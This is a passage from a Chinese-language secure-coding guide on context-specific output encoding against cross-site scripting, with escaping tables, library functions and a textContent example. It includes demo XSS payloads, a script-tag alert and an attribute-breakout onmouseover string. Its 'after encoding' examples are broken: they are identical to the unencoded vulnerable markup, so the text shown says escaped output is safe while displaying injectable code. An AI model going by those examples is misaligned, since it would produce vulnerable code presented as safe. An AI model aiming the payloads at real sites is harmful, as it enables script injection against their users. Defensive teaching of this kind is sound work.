HTML 属性 | < , > , & , " , ' ,空格 | 同上,一般使用双引号包裹属性,转义内引号 |
JavaScript | " , ' , \ , / , 换行符等 | 使用反斜杠转义,或 JSON 编码 |
URL 参数 | 非字母数字字符 | URL 编码,如 %20 代表空格 |
CSS 内容 | " 、' 、\ 、换行符等 | 使用反斜杠转义 |
2. 常见的输出编码示例
1)HTML 内容编码
假设用户输入:
<script>alert('XSS')</script>
未经编码直接输出:
<div>用户评论:<script>alert('XSS')</script></div>
浏览器会执行 <script>
脚本,导致 XSS。
经过输出编码:
<div>用户评论:<script>alert('XSS')</script></div>
浏览器只显示文字,不执行脚本。
2)HTML 属性编码
用户输入:
" onmouseover="alert(1)
输出在属性中:
<input value="用户输入内容">
如果不编码,变成:
<input value="" onmouseover="alert(1)">
会触发事件。
编码后:
<input value="" onmouseover="alert(1)">
浏览器显示成文本。
3)JavaScript 编码
当用户输入被放入 JavaScript 代码字符串时:
var name = '用户输入';
如果用户输入含 '
,会导致代码结构被破坏。
编码示例:
-
使用 JSON 序列化或转义
'
、"
、\
等字符
4)URL 编码
用户输入放到 URL 参数时:
https://example.com/search?q=用户输入
需要编码成:
https://example.com/search?q=%E7%94%A8%E6%88%B7%E8%BE%93%E5%85%A5
避免特殊字符破坏 URL 结构或注入。
3. 常用输出编码函数
编程语言/环境 | 函数/库 | 说明 |
---|---|---|
JavaScript | textContent (DOM),encodeURIComponent | 安全插入文本内容,URL编码 |
Python | html.escape() | 转义 HTML 特殊字符 |
Java (JSP) | StringEscapeUtils.escapeHtml4() | 转义 HTML |
PHP | htmlspecialchars() | 转义 HTML |
Node.js | he (HTML entities)库 | 转义和解码 HTML 实体 |
4. 示例
用 JavaScript 动态设置文本内容的安全写法
const userInput = "<script>alert('XSS')</script>";
const div = document.getElementById('comment');// 直接插入 innerHTML(危险)
// div.innerHTML = userInput; // 会执行脚本// 使用 textContent(安全)
div.textContent = userInput; // 会原样显示字符串,不执行
5. 总结输出编码原则
-
永远对所有用户输入进行上下文相关的输出编码。
-
不同的输出位置用不同编码方法,不能统一用 HTML 编码。
-
输出编码和输入过滤结合使用,安全更可靠。
-
使用成熟库实现编码,不自己手写简单替换,避免遗漏和漏洞。